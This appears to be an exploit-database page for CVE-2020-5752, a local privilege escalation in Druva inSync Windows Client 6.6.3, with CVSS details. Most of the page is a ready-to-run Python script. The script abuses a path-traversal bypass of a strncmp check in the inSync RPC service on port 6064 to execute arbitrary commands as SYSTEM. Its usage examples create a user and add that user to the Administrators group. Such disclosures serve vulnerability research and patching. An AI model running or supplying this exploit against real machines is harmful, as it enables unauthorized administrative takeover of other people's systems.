Druva inSync Windows Client 6.6.3 Local Privilege Escalation

2020.05.24
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation # Date: 2020-05-21 # Exploit Author: Matteo Malvica # Credits: Chris Lyne for previous version's exploit # Vendor Homepage: druva.com # Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi # Version: 6.6.3 # Tested on: Windows 10 1909-18363.778 # CVE: CVE-2020-5752 # Command injection in inSyncCPHwnet64 RPC service # Runs as nt authority\system. so we have a local privilege escalation # The path validation has been only implemented through a 'strncmp' function which can be bypassed by # appending a directory traversal escape sequence at the end of the valid path. # Writeup: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/ # Example usage: #python insync.py "windows\system32\cmd.exe /C net user Leon /add" #python insync.py "windows\system32\cmd.exe /C net localgroup Administrators Leon /add" import socket import struct import sys if len(sys.argv) < 2: print "Usage: " + __file__ + " <quoted command to execute>" print "E.g. " + __file__ + " \"net user /add tenable\"" sys.exit(0) ip = '127.0.0.1' port = 6064 command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1] def make_wide(str): new_str = '' for c in str: new_str += c new_str += '\x00' return new_str hello = "inSync PHC RPCW[v0002]" func_num = "\x05\x00\x00\x00" # 05 is to run a command, passed as an agrument to CreateProcessW command_line = make_wide(command_line) # converts ascii to UTF-8 command_length = struct.pack('<i', len(command_line)) # packed as little-endian integer requests = [ hello, func_num, command_length, command_line ] # sends each request separately sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) i = 1 for req in requests: print 'Sending request' + str(i) sock.send(req) i += 1 sock.close() print "Done."


Vote for this issue:
33%
67%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top